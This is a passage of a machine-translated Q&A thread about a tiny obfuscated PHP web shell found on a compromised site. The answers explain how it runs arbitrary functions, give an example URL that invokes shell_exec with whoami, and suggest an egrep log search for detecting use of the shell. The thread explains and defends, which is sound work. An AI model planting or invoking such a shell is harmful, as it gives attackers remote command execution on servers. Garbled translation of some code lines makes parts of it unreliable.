2015-09-25 8 views

ответ

9

Это оболочка PHP. Если вы перепишите его на URL file.php? 2 = shell_exec & 1 = whoami выполняет команду whoami на оболочке. В вашем примере один параметр передается POST, один из GET. Так что немного сложнее позвонить.

Вы также можете вызвать другие функции. Первый параметр всегда является именем функции, второй - параметром вызываемой функции.

По-видимому, это объясняется на http://h.ackack.net/tiny-php-shell.html (https://twitter.com/dragosr/status/116759108526415872), но сайт не загружается для меня.

/edit: Если у вас есть доступ к файлам журнала сервера, вы можете найти их, чтобы проверить, использовал ли хакер эту оболочку. Простой egrep "(& | \?) 2 =. +" Logs * на оболочке должен работать. Вы видите только половину выполненной команды (только GET, а не POST), но, возможно, это помогает увидеть, действительно ли атакующий использовал свой скрипт.

PS: Это был ответ, прежде здесь

+0

«здесь» где? Я думаю, вы забыли ссылку –

+0

Большое спасибо. Очень хорошее объяснение. Проголосовать примерно через 3 минуты. –

3

Давайте разорвать этот вверх немного:

([email protected]$_GET[page])@$_($_POST[404]);. Во-первых, это два выражения, которые сцепляется с периодом: ()()..

В первом выражении $_= , $_ является переменной, и в настоящее время назначается = переменной $_GET['page'], или, возможно, выходной анонимной функции, которую он ссылается. Если ссылается на анонимную функцию, то @ будет подавлять любые ошибки.

Второе выражение, @$_($_POST[404]); будет начинаться с подавлением ошибок @ анонимной функции $_, что вы можете сказать в настоящее время является анонимная функция вызывается, потому что за ним следует (. Аргумент, переданный этой функции, равен $_POST['404'], а затем вторая скобка просто закрывает вызов.

Итак, я думаю, что ваши подозрения верны; это выглядит как обфусканный код, предназначенный для поиска безобидного или части сайта. Я подозреваю, что значения для и $_POST[404], возможно, являются строками javascript, чей эхо на странице будет устанавливать вредоносное ПО или рекламное ПО.

Вы можете отладить это, посмотрев на значения этих двух переменных и увидев, что они собой представляют.

Как я могу сказать, не зная значений в GET и POST, похоже, что переменная $_ присваивается строке , которая была бы тем, что кто-то отправляет в URL-адрес при загрузке страницы. Таким образом, они могут передать имя строки любой функции на сайт и иметь ее в области PHP.

Затем они запускают эту произвольную функцию по значению $_POST['404']. Это значение также относится к браузеру или пользователю POST s на странице.

Конкатенация и внешняя скобка ().() может быть просто более запутанной, или точкой этого кода может быть просто повторение результатов этого кода на странице (например, для вставки javascript). Но также возможно, что они вызывают любую функцию, которую они хотят, по любому аргументу, который они передали. Я не могу сказать, просто глядя, но кто-то более знакомый с PHP, вероятно, мог бы.